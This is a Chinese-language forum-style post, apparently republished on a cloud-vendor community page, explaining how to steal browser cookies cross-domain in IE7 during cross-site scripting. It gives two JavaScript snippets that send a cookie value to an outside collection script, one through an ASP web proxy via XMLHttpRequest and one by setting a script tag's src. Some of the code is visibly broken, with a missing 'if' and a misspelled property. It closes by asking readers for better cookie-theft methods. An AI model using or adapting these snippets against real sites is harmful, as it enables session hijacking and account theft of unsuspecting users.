ie7下利用ajax跨域盜取cookie的解決辦法

來源:互聯網
上載者:User

研究了一下午,第一個難題是ajax跨域提交資料,可以用web代理來解決,http://192.168.8.108上的a.htm代碼:

<script>

function getXmlHttpRequest(){

if(window.ActiveXObject){

var ieArr=["Msxml2.XMLHTTP","Microsoft.XMLHTTP"];

for(var i=0;i<ieArr.length;i++)

{

var xmlhttp= new ActiveXObject(ieArr[i]);

}

return xmlhttp;

} else if(window.XMLHttpRequest){

return new XMLHttpRequest();

}

}

var xmlHttp=getXmlHttpRequest();

xmlHttp.Open("get","http://192.168.8.108/asp/web.asp?url=http://8888.com/2.asp?cookie=mmm",true);

xmlHttp.send(null)

</script>

其中web.asp是一個asp代理。

這樣直接存取http://192.168.8.108/a.htm是可以成功發送資料的。但是在跨站中,假如我們要跨192.168.8.108的站,這樣來講肯定不能讓我們放一個web.asp在上邊的,所以這種辦法不可行。

另外,其它的ie7.0下跨站想盜取cookie一般都會用到iframe標籤,在沒有研究成功ajax發送的情況下,經過搜尋發現了另一種跨站的思路,不需要用iframe來跨域提交,代碼:

<script LANGUAGE="Javascript" src="" id="get">

</script>

<script LANGUAGE="Javascript">

<!--

function get(url)

{

var obj = document.getElementById("get");

obj.src = url;

(obj.readStatus == 200)

{

eval(alert("ok"));

}

}

get("http://jb51.net/2.asp?cookie=12345678")

/*function query()

{

get("http://jb51.net/web/1.img"); //在這裡可以寫代碼,像把alert("ok")裡的ok換成變數,1.img 中的代碼是var ok="123"

}

//-->

*/

</script>

至於有其它更好的辦法,在IE7下能直接ajax跨域盜取cookie的歡迎討論

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.